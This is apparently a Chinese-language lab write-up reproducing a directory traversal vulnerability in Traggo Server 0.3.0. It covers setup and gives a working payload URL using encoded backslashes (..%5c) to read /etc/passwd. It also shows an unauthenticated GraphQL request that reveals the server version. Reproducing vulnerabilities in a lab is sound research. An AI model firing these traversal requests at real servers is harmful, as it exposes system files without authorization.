漏洞简介
Traggo Server 0.3.0 容易受到精心设计的 GET 请求的目录遍历攻击。
环境搭建
本来也是计划利用 docker 来搭建环境,相对操作比较简单
version: "3.8"
services:
traggo:
image: traggo/server:0.2.3
container_name: traggo
ports:
- 3030:3030
environment:
TRAGGO_DEFAULT_USER_NAME: "admin"
TRAGGO_DEFAULT_USER_PASS: "mynewpassword"
volumes:
- ./data:/opt/traggo/data
实际测试发现这样搭建的环境漏洞并不存在
想进入容器内部,却发现一直失败,所以找不到对应的文件可能是因为就不是一个完整的系统,根本不存在该文件
所以我们需要在一个完整的系统上面运行
$ wget https://github.com/traggo/server/releases/download/v0.3.0/traggo-server-0.3.0-linux-amd64.zip
$ unzip traggo-server-0.3.0-linux-amd64.zip
$ chmod +x traggo-server-0.3.0-linux-amd64
$ sudo ./traggo-server-0.3.0-linux-amd64
漏洞复现
http://192.168.222.146:3030/static/..%5c..%5c..%5c..%5cetc/passwd
简单聊聊
POST /graphql HTTP/1.1
Host: 192.168.222.146:3030
Content-Length: 101
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
content-type: application/json
Origin: http://192.168.222.146:3030
Referer: http://192.168.222.146:3030/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"query":"query users {\n version {\n name\n commit\n buildDate\n __typename\n }\n}\n"}
这个数据包可以在未授权的情况下查询出对应的版本号
对应的代码应该是这一部分
server-0.3.0/server-0.3.0/ui/src/gql/version.ts
关于为什么可以通过 %5c 来实现跨目录 %5c 编码后就是 \
http://192.168.222.146:3030/static/..%5c..%5c..%5c..%5cetc/passwd
http://192.168.222.146:3030/static/..\..\..\..\..\..\etc/passwd